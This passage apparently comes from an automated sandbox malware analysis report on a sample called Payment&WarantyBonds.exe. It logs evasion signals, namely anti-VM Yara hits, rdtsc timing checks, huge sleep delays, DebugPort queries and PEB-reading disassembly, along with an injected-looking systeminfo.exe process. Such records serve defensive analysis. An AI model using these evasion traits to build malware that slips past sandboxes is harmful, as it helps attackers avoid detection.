Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: Payment&WarantyBonds.exe PID: 6900, type: MEMORYSTR

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\systeminfo.exe	API/Special instruction interceptor: Address: 7FFE2220D324
Source: C:\Windows\SysWOW64\systeminfo.exe	API/Special instruction interceptor: Address: 7FFE2220D7E4
Source: C:\Windows\SysWOW64\systeminfo.exe	API/Special instruction interceptor: Address: 7FFE2220D944
Source: C:\Windows\SysWOW64\systeminfo.exe	API/Special instruction interceptor: Address: 7FFE2220D504
Source: C:\Windows\SysWOW64\systeminfo.exe	API/Special instruction interceptor: Address: 7FFE2220D544
Source: C:\Windows\SysWOW64\systeminfo.exe	API/Special instruction interceptor: Address: 7FFE2220D1E4
Source: C:\Windows\SysWOW64\systeminfo.exe	API/Special instruction interceptor: Address: 7FFE22210154
Source: C:\Windows\SysWOW64\systeminfo.exe	API/Special instruction interceptor: Address: 7FFE2220DA44

Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Memory allocated: 2800000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Memory allocated: 29C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Memory allocated: 49C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Memory allocated: 88D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Memory allocated: 98D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Memory allocated: 9AD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Memory allocated: AAD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Memory allocated: B510000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Memory allocated: C510000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Memory allocated: D510000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe

Code function: 2_2_0149D1C0 rdtsc

2_2_0149D1C0

Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\systeminfo.exe	Window / User API: threadDelayed 2967			Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Window / User API: threadDelayed 7006			Jump to behavior

Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	API coverage: 0.8 %
Source: C:\Windows\SysWOW64\systeminfo.exe	API coverage: 2.7 %

Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe TID: 1880	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe TID: 4904	Thread sleep count: 2967 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe TID: 4904	Thread sleep time: -5934000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe TID: 4904	Thread sleep count: 7006 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe TID: 4904	Thread sleep time: -14012000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe TID: 6592	Thread sleep time: -70000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe TID: 6592	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe TID: 6592	Thread sleep time: -55500s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe TID: 6592	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe TID: 6592	Thread sleep time: -39000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\systeminfo.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\systeminfo.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\systeminfo.exe

Code function: 7_2_0056C500 FindFirstFileW,FindNextFileW,FindClose,

7_2_0056C500

Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe

Thread delayed: delay time: 922337203685477

Source: oDnyHukDVUZk.exe, 00000008.00000002.4147684727.000000000065F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllY
Source: systeminfo.exe, 00000007.00000002.4147496833.0000000000909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: firefox.exe, 00000009.00000002.2367290792.0000016C5E48C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll\\

Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe

Code function: 2_2_0149D1C0 rdtsc

2_2_0149D1C0

Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe

Code function: 2_2_00417643 LdrLoadDll,

2_2_00417643

Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01419148 mov eax, dword ptr fs:[00000030h]	2_2_01419148
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01419148 mov eax, dword ptr fs:[00000030h]	2_2_01419148
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01419148 mov eax, dword ptr fs:[00000030h]	2_2_01419148
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01419148 mov eax, dword ptr fs:[00000030h]	2_2_01419148
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014B4144 mov eax, dword ptr fs:[00000030h]	2_2_014B4144
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014B4144 mov eax, dword ptr fs:[00000030h]	2_2_014B4144
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014B4144 mov ecx, dword ptr fs:[00000030h]	2_2_014B4144
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014B4144 mov eax, dword ptr fs:[00000030h]	2_2_014B4144
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014B4144 mov eax, dword ptr fs:[00000030h]	2_2_014B4144
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01427152 mov eax, dword ptr fs:[00000030h]	2_2_01427152
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014B8158 mov eax, dword ptr fs:[00000030h]	2_2_014B8158
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01426154 mov eax, dword ptr fs:[00000030h]	2_2_01426154
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01426154 mov eax, dword ptr fs:[00000030h]	2_2_01426154
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141C156 mov eax, dword ptr fs:[00000030h]	2_2_0141C156
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014F5152 mov eax, dword ptr fs:[00000030h]	2_2_014F5152
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014B9179 mov eax, dword ptr fs:[00000030h]	2_2_014B9179
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141F172 mov eax, dword ptr fs:[00000030h]	2_2_0141F172
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141F172 mov eax, dword ptr fs:[00000030h]	2_2_0141F172
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141F172 mov eax, dword ptr fs:[00000030h]	2_2_0141F172
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141F172 mov eax, dword ptr fs:[00000030h]	2_2_0141F172
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141F172 mov eax, dword ptr fs:[00000030h]	2_2_0141F172
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141F172 mov eax, dword ptr fs:[00000030h]	2_2_0141F172
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141F172 mov eax, dword ptr fs:[00000030h]	2_2_0141F172
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141F172 mov eax, dword ptr fs:[00000030h]	2_2_0141F172
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141F172 mov eax, dword ptr fs:[00000030h]	2_2_0141F172
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141F172 mov eax, dword ptr fs:[00000030h]	2_2_0141F172
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141F172 mov eax, dword ptr fs:[00000030h]	2_2_0141F172
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141F172 mov eax, dword ptr fs:[00000030h]	2_2_0141F172
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141F172 mov eax, dword ptr fs:[00000030h]	2_2_0141F172
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141F172 mov eax, dword ptr fs:[00000030h]	2_2_0141F172
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141F172 mov eax, dword ptr fs:[00000030h]	2_2_0141F172
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141F172 mov eax, dword ptr fs:[00000030h]	2_2_0141F172
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141F172 mov eax, dword ptr fs:[00000030h]	2_2_0141F172
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141F172 mov eax, dword ptr fs:[00000030h]	2_2_0141F172
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141F172 mov eax, dword ptr fs:[00000030h]	2_2_0141F172
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141F172 mov eax, dword ptr fs:[00000030h]	2_2_0141F172
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141F172 mov eax, dword ptr fs:[00000030h]	2_2_0141F172
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014CA118 mov ecx, dword ptr fs:[00000030h]	2_2_014CA118
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014CA118 mov eax, dword ptr fs:[00000030h]	2_2_014CA118
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014CA118 mov eax, dword ptr fs:[00000030h]	2_2_014CA118
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014CA118 mov eax, dword ptr fs:[00000030h]	2_2_014CA118
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014E0115 mov eax, dword ptr fs:[00000030h]	2_2_014E0115
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01450124 mov eax, dword ptr fs:[00000030h]	2_2_01450124
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01421131 mov eax, dword ptr fs:[00000030h]	2_2_01421131
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01421131 mov eax, dword ptr fs:[00000030h]	2_2_01421131
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141B136 mov eax, dword ptr fs:[00000030h]	2_2_0141B136
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141B136 mov eax, dword ptr fs:[00000030h]	2_2_0141B136
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141B136 mov eax, dword ptr fs:[00000030h]	2_2_0141B136
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141B136 mov eax, dword ptr fs:[00000030h]	2_2_0141B136
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014F51CB mov eax, dword ptr fs:[00000030h]	2_2_014F51CB
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014E61C3 mov eax, dword ptr fs:[00000030h]	2_2_014E61C3
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014E61C3 mov eax, dword ptr fs:[00000030h]	2_2_014E61C3
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145D1D0 mov eax, dword ptr fs:[00000030h]	2_2_0145D1D0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145D1D0 mov ecx, dword ptr fs:[00000030h]	2_2_0145D1D0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0149E1D0 mov eax, dword ptr fs:[00000030h]	2_2_0149E1D0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0149E1D0 mov eax, dword ptr fs:[00000030h]	2_2_0149E1D0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0149E1D0 mov ecx, dword ptr fs:[00000030h]	2_2_0149E1D0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0149E1D0 mov eax, dword ptr fs:[00000030h]	2_2_0149E1D0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0149E1D0 mov eax, dword ptr fs:[00000030h]	2_2_0149E1D0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014F61E5 mov eax, dword ptr fs:[00000030h]	2_2_014F61E5
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014451EF mov eax, dword ptr fs:[00000030h]	2_2_014451EF
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014451EF mov eax, dword ptr fs:[00000030h]	2_2_014451EF
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014451EF mov eax, dword ptr fs:[00000030h]	2_2_014451EF
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014451EF mov eax, dword ptr fs:[00000030h]	2_2_014451EF
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014451EF mov eax, dword ptr fs:[00000030h]	2_2_014451EF
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014451EF mov eax, dword ptr fs:[00000030h]	2_2_014451EF
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014451EF mov eax, dword ptr fs:[00000030h]	2_2_014451EF
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014451EF mov eax, dword ptr fs:[00000030h]	2_2_014451EF
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014451EF mov eax, dword ptr fs:[00000030h]	2_2_014451EF
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014451EF mov eax, dword ptr fs:[00000030h]	2_2_014451EF
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014451EF mov eax, dword ptr fs:[00000030h]	2_2_014451EF
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014451EF mov eax, dword ptr fs:[00000030h]	2_2_014451EF
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014451EF mov eax, dword ptr fs:[00000030h]	2_2_014451EF
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014251ED mov eax, dword ptr fs:[00000030h]	2_2_014251ED
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014C71F9 mov esi, dword ptr fs:[00000030h]	2_2_014C71F9
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014501F8 mov eax, dword ptr fs:[00000030h]	2_2_014501F8
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01460185 mov eax, dword ptr fs:[00000030h]	2_2_01460185
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014DC188 mov eax, dword ptr fs:[00000030h]	2_2_014DC188
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014DC188 mov eax, dword ptr fs:[00000030h]	2_2_014DC188
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A019F mov eax, dword ptr fs:[00000030h]	2_2_014A019F
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A019F mov eax, dword ptr fs:[00000030h]	2_2_014A019F
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A019F mov eax, dword ptr fs:[00000030h]	2_2_014A019F
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A019F mov eax, dword ptr fs:[00000030h]	2_2_014A019F
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141A197 mov eax, dword ptr fs:[00000030h]	2_2_0141A197
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141A197 mov eax, dword ptr fs:[00000030h]	2_2_0141A197
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141A197 mov eax, dword ptr fs:[00000030h]	2_2_0141A197
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01477190 mov eax, dword ptr fs:[00000030h]	2_2_01477190
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D11A4 mov eax, dword ptr fs:[00000030h]	2_2_014D11A4
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D11A4 mov eax, dword ptr fs:[00000030h]	2_2_014D11A4
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D11A4 mov eax, dword ptr fs:[00000030h]	2_2_014D11A4
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D11A4 mov eax, dword ptr fs:[00000030h]	2_2_014D11A4
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0143B1B0 mov eax, dword ptr fs:[00000030h]	2_2_0143B1B0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01422050 mov eax, dword ptr fs:[00000030h]	2_2_01422050
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014C705E mov ebx, dword ptr fs:[00000030h]	2_2_014C705E
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014C705E mov eax, dword ptr fs:[00000030h]	2_2_014C705E
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144B052 mov eax, dword ptr fs:[00000030h]	2_2_0144B052
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A6050 mov eax, dword ptr fs:[00000030h]	2_2_014A6050
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A106E mov eax, dword ptr fs:[00000030h]	2_2_014A106E
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014F5060 mov eax, dword ptr fs:[00000030h]	2_2_014F5060
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01431070 mov eax, dword ptr fs:[00000030h]	2_2_01431070
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01431070 mov ecx, dword ptr fs:[00000030h]	2_2_01431070
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01431070 mov eax, dword ptr fs:[00000030h]	2_2_01431070
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01431070 mov eax, dword ptr fs:[00000030h]	2_2_01431070
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01431070 mov eax, dword ptr fs:[00000030h]	2_2_01431070
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01431070 mov eax, dword ptr fs:[00000030h]	2_2_01431070
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01431070 mov eax, dword ptr fs:[00000030h]	2_2_01431070
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01431070 mov eax, dword ptr fs:[00000030h]	2_2_01431070
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01431070 mov eax, dword ptr fs:[00000030h]	2_2_01431070
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01431070 mov eax, dword ptr fs:[00000030h]	2_2_01431070
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01431070 mov eax, dword ptr fs:[00000030h]	2_2_01431070
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01431070 mov eax, dword ptr fs:[00000030h]	2_2_01431070
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01431070 mov eax, dword ptr fs:[00000030h]	2_2_01431070
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144C073 mov eax, dword ptr fs:[00000030h]	2_2_0144C073
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0149D070 mov ecx, dword ptr fs:[00000030h]	2_2_0149D070
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A4000 mov ecx, dword ptr fs:[00000030h]	2_2_014A4000
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0143E016 mov eax, dword ptr fs:[00000030h]	2_2_0143E016
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0143E016 mov eax, dword ptr fs:[00000030h]	2_2_0143E016
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0143E016 mov eax, dword ptr fs:[00000030h]	2_2_0143E016
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0143E016 mov eax, dword ptr fs:[00000030h]	2_2_0143E016
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141A020 mov eax, dword ptr fs:[00000030h]	2_2_0141A020
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141C020 mov eax, dword ptr fs:[00000030h]	2_2_0141C020
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014E903E mov eax, dword ptr fs:[00000030h]	2_2_014E903E
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014E903E mov eax, dword ptr fs:[00000030h]	2_2_014E903E
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014E903E mov eax, dword ptr fs:[00000030h]	2_2_014E903E
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014E903E mov eax, dword ptr fs:[00000030h]	2_2_014E903E
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014370C0 mov eax, dword ptr fs:[00000030h]	2_2_014370C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014370C0 mov ecx, dword ptr fs:[00000030h]	2_2_014370C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014370C0 mov ecx, dword ptr fs:[00000030h]	2_2_014370C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014370C0 mov eax, dword ptr fs:[00000030h]	2_2_014370C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014370C0 mov ecx, dword ptr fs:[00000030h]	2_2_014370C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014370C0 mov ecx, dword ptr fs:[00000030h]	2_2_014370C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014370C0 mov eax, dword ptr fs:[00000030h]	2_2_014370C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014370C0 mov eax, dword ptr fs:[00000030h]	2_2_014370C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014370C0 mov eax, dword ptr fs:[00000030h]	2_2_014370C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014370C0 mov eax, dword ptr fs:[00000030h]	2_2_014370C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014370C0 mov eax, dword ptr fs:[00000030h]	2_2_014370C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014370C0 mov eax, dword ptr fs:[00000030h]	2_2_014370C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014370C0 mov eax, dword ptr fs:[00000030h]	2_2_014370C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014370C0 mov eax, dword ptr fs:[00000030h]	2_2_014370C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014370C0 mov eax, dword ptr fs:[00000030h]	2_2_014370C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014370C0 mov eax, dword ptr fs:[00000030h]	2_2_014370C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014370C0 mov eax, dword ptr fs:[00000030h]	2_2_014370C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014370C0 mov eax, dword ptr fs:[00000030h]	2_2_014370C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0149D0C0 mov eax, dword ptr fs:[00000030h]	2_2_0149D0C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0149D0C0 mov eax, dword ptr fs:[00000030h]	2_2_0149D0C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A20DE mov eax, dword ptr fs:[00000030h]	2_2_014A20DE
